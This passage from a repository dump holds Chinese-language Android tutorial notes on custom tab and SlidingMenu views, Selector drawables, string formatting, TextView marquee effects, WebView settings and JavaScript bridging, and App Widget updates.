{\n\t\t\t\t\t\t\t\t//当前ViewPager并没有显示该Tab页，要让ViewPager去显示相应的Tab页\n\t\t\t\t\t\t\t\tmViewPager.setCurrentItem(index, true);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t});\n\n\t\t\t}\n\n\t\t\t// 初始化时核对一下Tab\n\t\t\tselectTab(mViewPager.getCurrentItem());\n\t\t}\n\t}\n\t```\n\t\n4. selectTab的实现，选中相应的Tab，并且实现滑动到屏幕中间位置\n\t```java\n\tprivate void selectTab(int position) {\n\t\tif (!isUseSeperator) {\n\t\t\t//没有分割线\n\t\t\tfor (int i = 0; i < mContainer.getChildCount(); i++) {\n\t\t\t\tView tab = mContainer.getChildAt(i);\n\t\t\t\ttab.setSelected(i == position);\n\t\t\t}\n\t\t} else {\n\t\t\t//有分割线\n\t\t\tfor (int i = 0, pos = 0; i < mContainer.getChildCount(); i += 2, pos++) {\n\t\t\t\tView tab = mContainer.getChildAt(i);\n\t\t\t\ttab.setSelected(pos == position);\n\t\t\t}\n\t\t}\n\t\t//得到当前的Tab\n\t\tView selectedView = null;\n\t\tif (!isUseSeperator) {\n\t\t\tselectedView = mContainer.getChildAt(position);\n\t\t} else {\n\t\t\tselectedView = mContainer.getChildAt(position * 2);\n\t\t}\n\n\t\tint tabWidth = selectedView.getMeasuredWidth();\n\t\tint tabLeft = selectedView.getLeft();\n\n\t\t//距离左边屏幕的位置加上该Tab宽度的一半正好是该Tab中心点的位置。我们需要让该Tab的中心点移动到屏幕的中心点。\n\t\tint distance = (tabLeft + tabWidth / 2) - mWindowWidth / 2;\n\t\t//移动\n\t\tsmoothScrollTo(distance, this.getScrollY());\n\t}\n\t```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/Selector使用.md",
    "content": "Selector使用\n===\n\n**Selector**使其能够在不同的状态下更换某个View的背景图片。\n```xml\n<?xml version=\"1.0\" encoding=\"utf-8\" ?>     \n<selector xmlns:android=\"http://schemas.android.com/apk/res/android\">   \n  <!-- 触摸时并且当前窗口处于交互状态 -->    \n  <item android:state_pressed=\"true\" android:state_window_focused=\"true\" android:drawable= \"@drawable/pic1\" />  \n  <!--  触摸时并且没有获得焦点状态 -->    \n  <item android:state_pressed=\"true\" android:state_focused=\"false\" android:drawable=\"@drawable/pic2\" />    \n  <!--选中时的图片背景-->    \n  <item android:state_selected=\"true\" android:drawable=\"@drawable/pic3\" />     \n  <!--获得焦点时的图片背景-->    \n  <item android:state_focused=\"true\" android:drawable=\"@drawable/pic4\" />    \n  <!-- 窗口没有处于交互时的背景图片 -->    \n  <item android:drawable=\"@drawable/pic5\" />   \n</selector>\n```\n`Selector`最终会被`Android`框架解析成`StateListDrawable`类对象。\n\n1. StateListDrawable类介绍    \n    该类定义了不同状态值下与之对应的图片资源，即我们可以利用该类保存多种状态值，多种图片资源。     \n\t方法：\n    - `public void addState (int[] stateSet, Drawable drawable)`    \n        功能： 给特定的状态集合设置drawable图片资源\n    \t```java\n\t\t//初始化一个空对象  \n\t\tStateListDrawable stalistDrawable = new StateListDrawable();  \n\t\t//获取对应的属性值 Android框架自带的属性 attr  \n\t\tint pressed = android.R.attr.state_pressed;  \n\t\tint window_focused = android.R.attr.state_window_focused;  \n\t\tint focused = android.R.attr.state_focused;  \n\t\tint selected = android.R.attr.state_selected;  \n\t\t  \n\t\tstalistDrawable.addState(new int []{pressed , window_focused}, getResources().getDrawable(R.drawable.pic1));  \n\t\tstalistDrawable.addState(new int []{pressed , -focused}, getResources().getDrawable(R.drawable.pic2);  \n\t\tstalistDrawable.addState(new int []{selected }, getResources().getDrawable(R.drawable.pic3);  \n\t\tstalistDrawable.addState(new int []{focused }, getResources().getDrawable(R.drawable.pic4);  \n\t\t//没有任何状态时显示的图片，我们给它设置我空集合  \n\t\tstalistDrawable.addState(new int []{}, getResources().getDrawable(R.drawable.pic5);  \n\t\t上面的“-”负号表示对应的属性值为 false\n\t\t当我们为某个View使用其作为背景色时，会根据状态进行背景图的转换。\n    \t```\n    - public boolean isStateful ()     \n        功能： 表明该状态改变了，对应的drawable图片是否会改变。\n        注：在StateListDrawable类中，该方法返回为true，显然状态改变后，我们的图片会跟着改变。\n\n2. GridView之Selector使用：  \n    GridView在点击每一个条目的时候黄色的背景,很难看，那么怎么才能让其不显示这个颜色呢?就是在GridView中将listSelector这个属性指定为透明的，\n\t这样再点击的时候就不显示黄色了，但是这样用户不知道自己点击了没有，所以要让它在点击的时候显示一个我们自定义的颜色     \n    ```xml\n    <GridView\n        android:listSelector=\"@android:color/transparent\"//listSelector用于标示当前的条目被选择的时候的状态\n        android:id=\"@+id/gv_home\"\n        android:verticalSpacing=\"10dip\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\"\n        android:numColumns=\"3\" >\n    </GridView>\n    ``` \n    1. drawable目录新建xml文件\n    \t```xml\n    \t<?xml version=\"1.0\" encoding=\"utf-8\"?>\n    \t<selector xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    \t\t<item android:state_pressed=\"true\"\n    \t\t\t  android:drawable=\"@color/gray\" /> <!-- 点击的时候显示的背景 -->\n    \t\t<item android:state_focused=\"true\"\n    \t\t\t  android:drawable=\"@color/gray\" /> <!-- 获取焦点的时候显示的背景 -->\n    \t\t<item android:state_hovered=\"true\"\n    \t\t\t  android:drawable=\"@drawable/button_focused\" /> <!-- hovered -->\n    \t\t<item android:drawable=\"@android:color/transparent\" /> <!-- 平常状态显示的颜色 -->\n    \t</selector>\n    \t```\t\n    *这里android:drawable=\"@color/gray\"必须通过将颜色放到res下的color.xml中然后通过@color/gray这种方式指定而不能通过#000000这样直接写颜色，如果直接写颜色会报错*\n    \n    2. 在控件中通过背景使用这个状态选择器 \t\t\n        对每个GridView的子条目设置相应的背景为改状态选择器\n        ```xml\n    \t<?xml version=\"1.0\" encoding=\"utf-8\"?>\n    \t<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    \t\tandroid:layout_width=\"wrap_content\"\n    \t\tandroid:layout_height=\"wrap_content\"\n    \t\tandroid:gravity=\"center_horizontal\"\n    \t\tandroid:background=\"@drawable/gv_item_selector\"\n    \t\tandroid:orientation=\"vertical\" >\n    \t\t<ImageView\n    \t\t\tandroid:id=\"@+id/iv_home_item_icon\"\n    \t\t\tandroid:layout_width=\"60dip\"\n    \t\t\tandroid:layout_height=\"60dip\"\n    \t\t\tandroid:scaleType=\"fitXY\"  //scaleType是指定图片的缩放类型， fitXY就是填充x和y轴\n    \t\t\tandroid:src=\"@drawable/safe\" />\n    \t\t<TextView\n    \t\t\tandroid:id=\"@+id/tv_home_item_name\"\n    \t\t\tandroid:layout_width=\"wrap_content\"\n    \t\t\tandroid:layout_height=\"wrap_content\"\n    \t\t\tandroid:text=\"手机防盗\"\n    \t\t\tandroid:textSize=\"18sp\"\n    \t\t\tandroid:textColor=\"#000000\" />\n    \t</LinearLayout>\n        ```\n        \n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/SlidingMenu.md",
    "content": "SlidingMenu\n===\n\n先看一下图片      \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/slidingmenu_1.png?raw=true)    \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/slidingmenu_2.png?raw=true)   \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/slidingmenu_3.png?raw=true)   \n\n\n原理\n---\n\n`SlidingMenu`无非就是一个包含三个`View`的控件，**左边View**、**中间View(默认时全屏)**、**右边View**，默认的情况下中间`View`会把两边的`View`覆盖住，\n在手指滑动的时候，会根据手指的滑动方向以及滑动距离去移动中间的那个`View`，从而能让两边`View`完全可见。    \n在定义该View的时候，首先会想到继承`RelativeLayout`，能简单的实现这种左、中、右三个View的布局。\n\n1. 继承RelativeLayout\n\t```java\n\tpublic class SlidingMenu extends RelativeLayout {\n\t\t\n\t\tpublic SlidingMenu(Context context, AttributeSet attrs, int defStyle) {\n\t\tsuper(context, attrs, defStyle);\n\t\tinit(context);\n\t\t}\n\t\n\t\tpublic SlidingMenu(Context context, AttributeSet attrs) {\n\t\t\tsuper(context, attrs);\n\t\t\tinit(context);\n\t\t}\n\t\n\t\tpublic SlidingMenu(Context context) {\n\t\t\tsuper(context);\n\t\t\tinit(context);\n\t\t}\n\t\n\t\tprivate void init(Context context) {\n\t\t\tmContext = context;\n\t\t\tmScroller = new Scroller(context);\n\t\t\tmWindowWidth = getWindowWidth(context);\n\t\t}\n\t}\n\t```\n\n2. 具体的三个View需要暴露给外界调用，所以我们要提供一个setView()的方法。\n\t```java\n\tpublic void setView(View leftView, View rightView, View centerView,\n\t\t\tint leftViewWidth, int rightViewWidth) {\n\t\t//添加左边View\n\t\tRelativeLayout.LayoutParams leftParams = new LayoutParams(\n\t\t\t\t(int) convertDpToPixel(leftViewWidth, mContext),\n\t\t\t\tLayoutParams.MATCH_PARENT);\n\t\tleftParams.addRule(RelativeLayout.ALIGN_PARENT_LEFT);\n\t\taddView(leftView, leftParams);\n\t\t\n\t\t//右边的View\n\t\tRelativeLayout.LayoutParams rightParams = new LayoutParams(\n\t\t\t\t(int) convertDpToPixel(rightViewWidth, mContext),\n\t\t\t\tLayoutParams.MATCH_PARENT);\n\t\trightParams.addRule(RelativeLayout.ALIGN_PARENT_RIGHT);\n\t\taddView(rightView, rightParams);\n\t\n\t\t//添加中间的View\n\t\tRelativeLayout.LayoutParams centerParams = new LayoutParams(\n\t\t\t\tLayoutParams.MATCH_PARENT, LayoutParams.MATCH_PARENT);\n\t\taddView(centerView, centerParams);\n\t\n\t\tmLeftView = leftView;\n\t\tmRightView = rightView;\n\t\tmCenterView = centerView;\n\t}\n\t```\n\t外界使用`SlidingMenu`类的时候需要首先调用该方法去设置相应的View，一旦调用该方法后，我们就将布局设置完了，下一步就是对`touch`事件进行处理，然后去移动中间的View。\n\n3. 处理Touch事件\n\t在手指按下的时候，我们去控制两边View的显示与隐藏\n\t```java\n\tpublic boolean onInterceptTouchEvent(MotionEvent ev) {\n\t\tint x = (int) ev.getRawX();\n\t\tint y = (int) ev.getRawY();\n\t\n\t\tint action = ev.getAction();\n\t\n\t\tswitch (action) {\n\t\tcase MotionEvent.ACTION_DOWN:\n\t\t\tmLastPostionX = x;\n\t\t\tmLastPostionY = y;\n\t\t\t//通过变量记录当前可以显示左边的View还是可以显示右边的View\n\t\t\tif (mCanLeftViewShow) {\n\t\t\t\t//如果当前，中间的View往右滑，那么这时候左边的View就要能显示了\n\t\t\t\tmLeftView.setVisibility(View.VISIBLE);\n\t\t\t\tmRightView.setVisibility(View.GONE);\n\t\t\t} else if (mCanRightViewShow) {\n\t\t\t\tmLeftView.setVisibility(View.GONE);\n\t\t\t\tmRightView.setVisibility(View.VISIBLE);\n\t\t\t}\n\t\n\t\t\tbreak;\n\t\tcase MotionEvent.ACTION_MOVE:\n\t\n\t\t\tbreak;\n\t\tcase MotionEvent.ACTION_UP:\n\t\n\t\t\tbreak;\n\t\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\t\n\t\treturn false;\n\t}\n\t```\n\t在`onTouch()`中，我们去获取手指移动的距离\n\t```java\n\t\tpublic boolean onTouchEvent(MotionEvent event) {\n\t\tint x = (int) event.getRawX();\n\t\tint y = (int) event.getRawY();\n\t\n\t\tint action = event.getAction();\n\t\tswitch (action) {\n\t\tcase MotionEvent.ACTION_DOWN:\n\t\t\tmLastPostionX = x;\n\t\t\tmLastPostionY = y;\n\t\n\t\t\tif (!mScroller.isFinished()) {\n\t\t\t\tmScroller.abortAnimation();\n\t\t\t}\n\t\n\t\t\tbreak;\n\t\tcase MotionEvent.ACTION_MOVE:\n\t\t\tint distance = x - mLastPostionX;\n\t\t\tint targetPositon = mCenterView.getScrollX() - distance;\n\t\t\tmLastPostionX = x;\n\t\n\t\t\tif (mCanLeftViewShow) {\n\t\t\t\tif (targetPositon > 0) {\n\t\t\t\t\ttargetPositon = 0;\n\t\t\t\t}\n\t\n\t\t\t\tif (targetPositon < -mLeftViewWidth) {\n\t\t\t\t\ttargetPositon = -mLeftViewWidth;\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t\tif (mCanRightViewShow) {\n\t\t\t\tif (targetPositon < 0) {\n\t\t\t\t\ttargetPositon = 0;\n\t\t\t\t}\n\t\n\t\t\t\tif (targetPositon > mRightViewWidth) {\n\t\t\t\t\ttargetPositon = mRightViewWidth;\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t\tmClicked = false;\n\t\t\t//让中间的View随着手指的移动而移动\n\t\t\tmCenterView.scrollTo(targetPositon, 0);\n\t\n\t\t\tbreak;\n\t\tcase MotionEvent.ACTION_UP:\n\t\t\t//你手指移动后抬起的时候需要注意，如果现在左边的View已经超过一半可见了，这时候就算你抬起手指了，SlidingMenu也要滑动到右边让左边View完全可见。当然还有就是你滑动的飞快，然后突然抬起了手指，这时候就要进行速率的计算了，我们先不说速率\n\t\t\tint dx = 0;\n\t\t\tif (mCanLeftViewShow) {\n\t\t\t\tif (mCenterView.getScrollX() <= -mLeftViewWidth / 2) {\n\t\t\t\t\t//已经超过左边View的一般了，应该让中间View继续移动，移动到左边View完全可见\n\t\t\t\t\tdx = -mLeftViewWidth - mCenterView.getScrollX();\n\t\t\t\t} else {\n\t\t\t\t\t// 滚回原来的位置\n\t\t\t\t\tdx = -mCenterView.getScrollX();\n\t\t\t\t\tresumeLeftViewClickState();\n\t\t\t\t}\n\t\n\t\t\t} else if (mCanRightViewShow) {\n\t\t\t\tif (mCenterView.getScrollX() >= mRightViewWidth / 2) {\n\t\t\t\t\tdx = mRightViewWidth - mCenterView.getScrollX();\n\t\t\t\t} else {\n\t\t\t\t\tdx = -mCenterView.getScrollX();\n\t\t\t\t\tresumeRightViewClickState();\n\t\t\t\t}\n\t\t\t}\n\t\t\t//手指抬起后，要让中间View有过程的滑过去，所以要用到Scroller类\n\t\t\tsmoothScrollTo(dx);\n\t\t\tbreak;\n\t\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\t\n\t\treturn true;\n\t}\n\t```\n\n\t`Scroller`的实现       \n\t```java\n\tprivate void smoothScrollTo(int distance) {\n\t\tmScroller.startScroll(mCenterView.getScrollX(), 0, distance, 0,\n\t\t\t\tsDuration);\n\t\tinvalidate();\n\t}\n\n\t@Override\n\tpublic void computeScroll() {\n\t\tif (mScroller.computeScrollOffset()) {\n\t\t\tmCenterView.scrollTo(mScroller.getCurrX(), mScroller.getCurrY());\n\t\t\tpostInvalidate();\n\t\t}\n\t}\n\t```\n\n4. 到这里SlidingMenu的大体实现已经完成了        \n\t剩下的就是对速率的计算，已经添加显示左边与显示右边的View的按钮。当左边View完全显示的时候，点击中间View可见部分时需要让中间View全屏。\n\t至于这些细节的东西就不再仔细说了，大家自己看源码吧。\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/String格式化.md",
    "content": "String格式化\n===\n\n- 指定内容替换\n\t- Int类型    \n\t\t经常会遇到这种类型比如\"共为您找到几条视频\"，我们需要通过代码获取把条数设置进去      \n\t\t在`string.xml`中可以这样写，`<string name=\"video_num_tip\">共为您找到%1$d条视频</string>` \n\t\t```java\n\t\tString tip = getResources().getString(R.string.video_num_tip);  \n\t\t// 将`%1$d`替换为8； \n\t\ttip = String.format(tip, 8);\n\t\t```\n\t\t`%1$d`的意思是整个`video_num_tip`中第一个整型的替代。如果有两个需要替换的整型内容，则第二个写为：`%2$d`，以此类推\n\t\n\t- String类型      \n\t\t比如“俺叫某某，俺来自某某地，俺为俺自己代言”这里有两个地方需要替换        \n\t\t`<string name=\"introduction\">俺叫%1$s，俺来自%2$s，俺为俺自己代言</string>`\n\t\t```java\n\t\tString intro = getResources().getString(R.string.introduction);   \n\t\tintro = String.format(intro, \"张三\",\"火星\");\n\t\t```\n\t\t\n\t- 混合类型         \n\t\t`<string name=\"friendly_tip\">您已看了%1$d个电影,还差%2$d个即可获得美女%3$s一枚!</string>`    \n\t    ```java\n\t     String text = String.format(getResources().getString(R.string.friendly_tip), 2,18,\"苍老师\");\n\t    ```\n\n- 颜色改变\n    ```java\n    TextView tv = (TextView) findViewById(R.id.tv);\n    String html =\n            \"<body><p><strong>强调</strong></p>\"\n                    + \"<em>斜体</em>\"\n                    + \"<p><a href=\\\"http://www.baidu.com\\\">超链接</a>百度一下，你就知道</p>\"\n                    + \"图片</p><img src=\\\"\"+R.drawable.ic_launcher+\"\\\"/>\";\n\n    tv.setText(Html.fromHtml(\"<font color=\\\"#ff0000\\\">红色</font>其它颜色\"));\n    tv.setText(Html.fromHtml(\"<h1>标题1</h1>\"));\n    //这样会发现图片显示不出来，因为牵扯到图片的时候必须要使用另外一个构造参数\n    tv.setText(Html.fromHtml(html));\n    \n    //图片要用到该构造参数\n    tv.setText(Html.fromHtml(html, new ImageGetter() {\n        @Override\n        public Drawable getDrawable(String source) {\n            int id = Integer.parseInt(source);\n            Drawable d = getResources().getDrawable(id);\n            d.setBounds(0, 0, d.getIntrinsicWidth(), d.getIntrinsicHeight());\n            return d;\n        }\n    }, null));\n\t```\n\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/TextView跑马灯效果.md",
    "content": "TextView跑马灯效果\n===\n\nTextView跑马灯效果实现方式一:\n---\n\n当`TextView`内容过多时默认会采用截取的方式以`...`来截取。如何能够实现内容过多时的跑马灯效果。\n \n自定义视图步骤:\n----\n\n1. 自定义一个类继承`TextView`,重写它的`isFocused()`方法\n2. 在布局的文件中使用自定义的`TextView`\n \n \n示例代码：\n----\n\n1. 继承TextView\n    ```java\n    //继承TextView并且实现抽象方法\n    public class FocusedTextView extends TextView {\n     \n        public FocusedTextView(Context context, AttributeSet attrs, int defStyle){\n            super(context, attrs, defStyle);\n        }\n     \n        public FocusedTextView(Context context, AttributeSet attrs) {\n            super(context, attrs);\n        }\n     \n        public FocusedTextView(Context context) {\n            super(context);\n        }\n     \n        //重写isFocused方法，让其一直返回true\n        public boolean isFocused() {\n            return true;\n        }\n    }\n    ``` \n\n2. 在清单文件中使用该类\n```xml\n<com.charon.test.ui.FocusedTextView   //注意这里要使用包名.类名\n    android:ellipsize=\"marquee\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"wrap_content\"\n    android:singleLine=\"true\"\n    android:text=\"我是你的嘎嘎嘎、、、、、、、、哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈\" />\n ```\n\nTextView跑马灯效果实现方式二:\n---\n\nTextView实现跑马灯的效果,不用自定义View\n```xml\n<TextView\n    android:layout_width=\"wrap_content\"\n    android:layout_height=\"wrap_content\"\n    android:ellipsize=\"marquee\"\n    android:focusable=\"true\"\n    android:focusableInTouchMode=\"true\"\n    android:marqueeRepeatLimit=\"marquee_forever\"\n    android:singleLine=\"true\"\n    android:text=\"测试啊啊啊啊啊啊啊啊ggggggggggggggggggggggggggggg\" />\n```\n\n---\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/WebView总结.md",
    "content": "WebView总结\n===\n     \n在`Android`中有`WebView Widget`，它内置了`WebKit`引擎，同时，`WebKit`也是`Mac OS X`的`Safari`网页浏览器的基础。`WebKit`是一个开源的浏览器引擎，\n`Chrome`浏览器也是基于它的。所以很多表现`WebView`和`Chrome`是一样的。          \n\n很多文章中多会说在使用`WebView`之前，要在`AndroidManifest.xml`中添加 如下权限：           \n`<uses-permission android:name=\"android.permission.INTERNET\"></uses-permission>`        \n否则会出`Web page not available`错误。其实这是不全面的，如果我加载本地的页面是不用该权限的。\n\n- 设置WevView要显示的网页方法有很多：\n    - `mWebView.loadUrl(“http://www.google.com“);` // 网络\n    - `mWebView.loadUrl(“file:///android_asset/XX.html“);` // 本地页面,这里的格式是固定的，文件要放到`assets`目录下\n    - `mWebview.postUrl(String url, byte[] postData); // 加载页面使用`Post`方式，`postData`为参数`\n    ```java\n\tString postData = \"password=password&username=username\";\n\tmWebview.postUrl(url, EncodingUtils.getBytes(postData, \"base64\"));\n\t```\n    - mWebView.loadData(htmlString, \"text/html\", \"utf-8\"); // 加载Html数据\n    ```java\n\tString htmlString = \"<h1>Title</h1><p>This is HTML text<br /><i>Formatted in italics</i><br />Anothor Line</p>\";\n\tmWebView.loadData(htmlString, \"text/html\", \"utf-8\"); // 加载Html数据\n\t```\n\t- `loadData()`不能加载图片内容，如果要加载图片内容或者获得更强大的Web支持请使用`loadDataWithBaseURL()`。\n\t- 显示乱码    \n    `WebView`一般为了节省资源使用`UTF-8`编码，而`String`类型的数据主要是`Unicode`编码，\n\t因此在`loadData()`的时候需要设置相应编码让其将`Unicode`编码转成`UTF-8`但是有些时候设置后还是会出现乱码，这是因为还需要为`WebView`中的`Text`设置编码，\n\t```java\n\tWebView mWebView = (WebView)findViewById(R.id.webview) ;\n\tString content = getUnicodeContent() ;\n\tmWebView.getSettings().setDefaultTextEncodingName(“UTF -8”) ;\n\tmWebView.loadData(content, “text/html”, “UTF-8”) ;\n\t```\n\n- 设置WebView基本信息：        \n\n\t- 如果访问的页面中有`Javascript`，则`webview`必须设置支持`Javascript`。     \n\t    `webview.getSettings().setJavaScriptEnabled(true);  `       \n\t- 触摸焦点起作用      \n\t    `requestFocus() // 如果不设置的话，会出现不能弹出软键盘等问题。`     \n\t- 取消滚动条       \n\t    `this.setScrollBarStyle(SCROLLBARS_OUTSIDE_OVERLAY);`\n\t\t\n- Back键的处理     \n    如果用`webview`点链接看了很多页以后，如果不做任何处理，点击系统`Back`键，整个浏览器会调用`finish()`而结束自身，\n\t如果希望浏览的网页回退而不是退出浏览器，需要在当前`Activity`中处理并消费掉该`Back`事件。\n\t```java\n\t public boolean onKeyDown(int keyCoder,KeyEvent event){\n\t\tif(webView.canGoBack() && keyCoder == KeyEvent.KEYCODE_BACK){\n\t\t\twebview.goBack();   //goBack()表示返回webView的上一页面\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t }\n\t```\n\t\n- WebView中Padding没有效果\t       \n    `WebView`中使用`Padding`没有效果，我们在`WebView`外层包上一层布局就会有所改进，但是不能完全解决问题，正确的做法是在`WebView`的加载`css`中增加`Padding`\n\t\n- WebViewClient        \n    如果希望点击链接由自己处理，而不是新开`Android`的系统`browser`中响应该链接。\n\t给`WebView`添加一个事件监听对象`WebViewClient`并重写其中的一些方法： `shouldOverrideUrlLoading`对网页中超链接按钮的响应。\n\t当按下某个连接时`WebViewClient`会调用这个方法，并传递按下的url。\n\t1. 接收到 Http 请求的事件 \n\t    `onReceivedHttpAuthRequest(WebView view, HttpAuthHandler handler, String host, String realm) `            \n\t\t\n\t2. 打开链接前的事件\n\t    `public boolean shouldOverrideUrlLoading(WebView view, String url) { view.loadUrl(url); return true; } `           \n\t    这个函数我们可以做很多操作，比如我们读取到某些特殊的URL，于是就可以不打开地址，取消这个操作，进行预先定义的其他操作，这对一个程序是非常必要的。\n\t\t\n\t3. 载入页面完成的事件\n\t    `public void onPageFinished(WebView view, String url){ } `              \n\t    页面载入完成，于是我们可以关闭`loading`条，切换程序动作。\n\t\t\n\t4. 载入页面开始的事件\n\t    `public void onPageStarted(WebView view, String url, Bitmap favicon)`              \n\t    这个事件就是开始载入页面调用的，通常我们可以在这设定一个loading的页面，告诉用户程序在等待网络响应。\n\t    \n\n`WebView`与`Js`交互\n---\n\n- `Android`调用`WebView`中的`js`脚本。\n\t```java\n\t// 启用javascript\t\tmWebView.getSettings().setJavaScriptEnabled(true);\n\t// 加载web页面\n\tmWebView.loadUrl(\"file:///android_asset/wst.html\");\n\t// 调用js\n\tmWebView.loadUrl(\"javascript:test('\" + aa+ \"')\"); //aa是js的函数test()的参数  \n\t```\n\n- `Js`调用`Android`中的方法        \n\t```java\n\tpublic WebViewActivity extends Activity {\n\t\n\t    public void onCreate() {\n\t        // 启用javascript\t\n\t        mWebView.getSettings().setJavaScriptEnabled(true);\n\t        // 加载web页面\n\t        mWebView.loadUrl(\"file:///android_asset/wst.html\");\n\t        // 首先要对webview绑定javascriptInterface，js脚本通过这个接口来调用java代码。javascriptInterface实际就是一个普通的java类，里面是我们本地实现的java代码， 将JavascriptInterface传递给webview，并指定别名，这样js脚本就可以通过我们给的这个别名来调用我们的方法,在这里，this是实例化的对象，wst是这个对象在js中的别名\n\t        mWebView.addJavascriptInterface(this, \"wst\");\n\t    }\n\t    \n\t    // js所调用的native方法的本地实现，安卓4.2及以上版本（API >= 17），在注入类中为可调用的方法添加@JavascriptInterface注解，无注解的方法不能被调用，这种方式可以防范注入漏洞\n\t    @JavascriptInterface\n\t    public void startFunction(final String str) {  \n\t        Toast.makeText(this, str, Toast.LENGTH_SHORT).show();  \n\t        runOnUiThread(new Runnable() {  \n\t    \n\t            @Override  \n\t            public void run() {  \n\t                msgView.setText(msgView.getText() + \"\\njs调用了java函数传递参数：\" + str);  \n\t    \n\t            }  \n\t        });  \n\t    }  \n\t}\n\t```\n\t\n\t`js`中通过如下代码调用即可           \n\t```html\n\t<a onClick=\"window.wst.startFunction('hello world')\" >点击调用java代码并传递参数</a>  \n\t```\n\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/Widget(窗口小部件).md",
    "content": "Widget简介\n===\n\n可以使用`AppWidgetManager`更新`Widget`中的数据，但这样最短也要半个小时才能更新一次，一般不用他更新，而是自己定义一个服务去更新`Widget`中的数据。\n\n## Widget的创建步骤\n\n1. 写一个类继承AppWidgetProvider,这个是一个广播接收者,所以要在清单文件中进行配置\n\t```java\n\tpublic class MyWidget extends AppWidgetProvider {\n\t\t@Override\n\t\tpublic void onEnabled(Context context) {\n\t\t\t//开启服务定期的更新界面.\n\t\t\tIntent intent = new Intent(context,UpdateWidgetService.class);\n\t\t\tcontext.startService(intent);\n\t\t\tsuper.onEnabled(context);\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic void onDisabled(Context context) {\n\t\t\t//关闭掉服务\n\t\t\tIntent intent = new Intent(context,UpdateWidgetService.class);\n\t\t\tcontext.stopService(intent);\n\t\t\tsuper.onDisabled(context);\n\t\t}\n\t\t\t\t\t\n\t\t@Override\n\t\tpublic void onUpdate(Context context, AppWidgetManager appWidgetManager,\n\t\t\t\tint[] appWidgetIds) {      \n\n\t\t\t//Widget布局中定义的更新时间到了。检查下 服务是否还活着.\n\t\t\tif(!ServiceStatusUtil.isServiceRunning(context, \"com.itheima.mobilesafe.service.UpdateWidgetService\")){\n\t\t\t\tIntent intent = new Intent(context,UpdateWidgetService.class);\n\t\t\t\tcontext.startService(intent);\n\t\t\t}\n\t\t\tsuper.onUpdate(context, appWidgetManager, appWidgetIds);\n\t\t}\n\t}\n\t```\n\t\n2. 在清单文件中进行配置,内容如下:\n\t```xml\n\t<receiver android:name=\".receiver.MyWidget\" >\n\t\t<intent-filter>\n\t\t\t<action android:name=\"android.appwidget.action.APPWIDGET_UPDATE\" />\n\t\t</intent-filter>\n\t\t<meta-data\n\t\t\tandroid:name=\"android.appwidget.provider\"\n\t\t\tandroid:resource=\"@xml/example_appwidget_info\" />//这里使用到了一个xml文件,所以要创建这个文件\n\t</receiver> \n\t```\n\t\n3. 在res下面新建一个名为xml的文件件，然后新建example_appwidget_info.xml内容如下\n\t```xml\n\t<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<appwidget-provider xmlns:android=\"http://schemas.android.com/apk/res/android\"\n\t\tandroid:minWidth=\"294dp\"\n\t\tandroid:minHeight=\"72dp\"\n\t\tandroid:updatePeriodMillis=\"86400000\" //指定更新的间隔时间，最小为半个小时，一般不用它更新，都是自己更新\n\t\tandroid:previewImage=\"@drawable/preview\"//指定小控件的图标,如果不要这个选项就是程序的图标\n\t\tandroid:initialLayout=\"@layout/example_appwidget\"//设置这个小控件的布局文件\n\t\tandroid:configure=\"com.example.android.ExampleAppWidgetConfigure\" //有些复杂的Widget在点击的时候会去开启一个Activity，\n\t\t// 这时候就是通过这个参数来配置要开启的Activity，用不着就删除这一行\tandroid:resizeMode=\"horizontal|vertical\">\n\t\t//这个是Android3.0的一个新特性，是可以让widget改变大小，在2.3时候创建出来的Widget多大就是多大，不能改变，可以把这个去掉\n\t</appwidget-provider>\n\t```\n\t\n4. 更新Widget数据的服务      \n\t```java\n\tpublic class UpdateWidgetService extends Service {\n\t\tprivate Timer timer;\n\t\tprivate TimerTask task;\n\t\t@Override\n\t\tpublic IBinder onBind(Intent intent) {\n\t\t\treturn null;\n\t\t}\n\t\t@Override\n\t\tpublic void onCreate() {\n\t\t\tsuper.onCreate();\n\t\t\t// 开启定期的任务更新widget.\n\t\t\ttimer = new Timer();\n\t\t\ttask = new TimerTask() {\n\t\t\t\t@Override\n\t\t\t\tpublic void run() {\n\t\t\t\t\tAppWidgetManager awm = AppWidgetManager\n\t\t\t\t\t\t\t.getInstance(getApplicationContext());\n\t\t\t\t\tComponentName component = new ComponentName(\n\t\t\t\t\t\t\tgetApplicationContext(), MyWidget.class);\n\t\t\t\t\tRemoteViews views = new RemoteViews(getPackageName(),\n\t\t\t\t\t\t\tR.layout.process_widget);\n\t\t\t\t\tviews.setTextViewText(\n\t\t\t\t\t\t\tR.id.process_count,\n\t\t\t\t\t\t\t\"正在运行:\"\n\t\t\t\t\t\t\t\t\t+ 